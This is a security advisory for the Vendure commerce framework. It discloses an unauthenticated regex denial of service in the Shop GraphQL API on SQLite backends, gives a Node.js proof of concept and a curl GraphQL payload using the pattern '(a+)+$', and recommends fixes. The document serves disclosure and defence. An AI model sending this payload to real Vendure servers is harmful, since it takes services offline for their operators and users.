Vulnerability GHSA-jgm3-qmp2-c4p7
Summary
Vendure: Unauthenticated ReDoS via `regex` filter on SQLite backends
Details
Summary
[!IMPORTANT] Only instances running on the SQLite driver (better-sqlite3) are affected; SQLite is usually used in development/testing backend, so production deployments on PostgreSQL or MySQL/MariaDB are unaffected.
The StringOperators.regex filter exposed on the public Shop GraphQL API is evaluated inside the Node.js event loop via a synchronous SQLite user-defined function (UDF). Supplying a catastrophically backtracking pattern blocks the entire event loop, causing a complete denial of service with no authentication required.
PoC
image [poc.zip](https://github.com/user-attachments/files/28752976/poc.zip) [poc-redos.js](https://github.com/user-attachments/files/28753000/poc-redos.js)Prerequisites: Node.js ≥ 18. No account, no server, no dependencies.
Step 1 — save the following as poc-redos.js:
// Exact code from list-query-builder.ts:918-919
const PATTERN = '(a+)+$';
const VALUE = 'a'.repeat(28) + 'b';
console.log('[*] pattern:', PATTERN, ' value:', VALUE);
console.log('[*] Starting (server would be unresponsive from this point)...');
const start = Date.now();
const result = new RegExp(`${PATTERN}`, 'i').test(VALUE);
console.log('[+] elapsed:', Date.now() - start, 'ms result:', result);
Step 2 — run it:
node poc-redos.js
Expected output (verified on Node.js v24.14.0):
[*] pattern: (a+)+$ value: aaaaaaaaaaaaaaaaaaaaaaaaaaaab
[*] Starting (server would be unresponsive from this point)...
[+] elapsed: 19755 ms result: false
A 29-character input causes ~20 seconds of CPU spin. Inside a live Vendure server this same code runs synchronously in the SQLite UDF on the Node.js event loop — the process cannot handle any other request for the entire duration.
Step 3 — GraphQL payload (against a running Vendure instance with better-sqlite3 or sqljs driver):
curl -s -X POST http://localhost:3000/shop-api -H "Content-Type: application/json" -d "{\"query\":\"{ products(options:{filter:{name:{regex:\\\"(a+)+$\\\"}}}) { items { id } } }\"}" --max-time 60
No test account is needed. The products query is publicly accessible.
Fix
-
Validate the regex before constructing it. Reject patterns that are known to cause catastrophic backtracking using a safe-regex library (e.g.
safe-regex2orrecheck) before passing them tonew RegExp(). -
Enforce a maximum pattern length. Reject
StringOperators.regexvalues exceeding a reasonable limit (e.g. 100 characters) at the GraphQL validation layer. -
Run the UDF in a worker thread. Move
regexpFnoff the main event loop by executing it in aworker_threadscontext with anAbortSignaltimeout so a hung regex cannot block the server. -
Require authentication for filtered list queries. Add
@Allow(Permission.Authenticated)toShopProductsResolver.products(and other filterable list queries) if anonymous product browsing is not a business requirement, as a defence-in-depth measure.
Related Vulnerabilities
Other vulnerabilities affecting the same packages